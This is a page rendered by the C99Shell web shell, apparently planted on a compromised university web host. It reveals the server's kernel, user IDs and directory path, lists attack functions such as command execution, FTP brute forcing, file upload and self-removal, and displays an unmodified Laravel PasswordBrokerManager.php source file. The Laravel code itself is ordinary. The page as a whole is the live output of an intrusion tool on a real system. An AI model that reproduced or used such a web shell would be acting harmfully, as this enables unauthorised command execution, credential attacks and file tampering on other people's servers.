!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Auth/Passwords/   drwxr-xr-x
Free 117.29 GB of 200.55 GB (58.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PasswordBrokerManager.php (3.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Auth\Passwords;

use 
Illuminate\Support\Str;
use 
InvalidArgumentException;
use 
Illuminate\Contracts\Auth\PasswordBrokerFactory as FactoryContract;

class 
PasswordBrokerManager implements FactoryContract
{
    
/**
     * The application instance.
     *
     * @var \Illuminate\Foundation\Application
     */
    
protected $app;

    
/**
     * The array of created "drivers".
     *
     * @var array
     */
    
protected $brokers = [];

    
/**
     * Create a new PasswordBroker manager instance.
     *
     * @param  \Illuminate\Foundation\Application  $app
     * @return void
     */
    
public function __construct($app)
    {
        
$this->app $app;
    }

    
/**
     * Attempt to get the broker from the local cache.
     *
     * @param  string  $name
     * @return \Illuminate\Contracts\Auth\PasswordBroker
     */
    
public function broker($name null)
    {
        
$name $name ?: $this->getDefaultDriver();

        return isset(
$this->brokers[$name])
                    ? 
$this->brokers[$name]
                    : 
$this->brokers[$name] = $this->resolve($name);
    }

    
/**
     * Resolve the given broker.
     *
     * @param  string  $name
     * @return \Illuminate\Contracts\Auth\PasswordBroker
     *
     * @throws \InvalidArgumentException
     */
    
protected function resolve($name)
    {
        
$config $this->getConfig($name);

        if (
is_null($config)) {
            throw new 
InvalidArgumentException("Password resetter [{$name}] is not defined.");
        }

        
// The password broker uses a token repository to validate tokens and send user
        // password e-mails, as well as validating that password reset process as an
        // aggregate service of sorts providing a convenient interface for resets.
        
return new PasswordBroker(
            
$this->createTokenRepository($config),
            
$this->app['auth']->createUserProvider($config['provider']),
            
$this->app['mailer'],
            
$config['email']
        );
    }

    
/**
     * Create a token repository instance based on the given configuration.
     *
     * @param  array  $config
     * @return \Illuminate\Auth\Passwords\TokenRepositoryInterface
     */
    
protected function createTokenRepository(array $config)
    {
        
$key $this->app['config']['app.key'];

        if (
Str::startsWith($key'base64:')) {
            
$key base64_decode(substr($key7));
        }

        
$connection = isset($config['connection']) ? $config['connection'] : null;

        return new 
DatabaseTokenRepository(
            
$this->app['db']->connection($connection),
            
$config['table'],
            
$key,
            
$config['expire']
        );
    }

    
/**
     * Get the password broker configuration.
     *
     * @param  string  $name
     * @return array
     */
    
protected function getConfig($name)
    {
        return 
$this->app['config']["auth.passwords.{$name}"];
    }

    
/**
     * Get the default password broker name.
     *
     * @return string
     */
    
public function getDefaultDriver()
    {
        return 
$this->app['config']['auth.defaults.passwords'];
    }

    
/**
     * Set the default password broker name.
     *
     * @param  string  $name
     * @return void
     */
    
public function setDefaultDriver($name)
    {
        
$this->app['config']['auth.defaults.passwords'] = $name;
    }

    
/**
     * Dynamically call the default driver instance.
     *
     * @param  string  $method
     * @param  array   $parameters
     * @return mixed
     */
    
public function __call($method$parameters)
    {
        return 
call_user_func_array([$this->broker(), $method], $parameters);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0279 ]--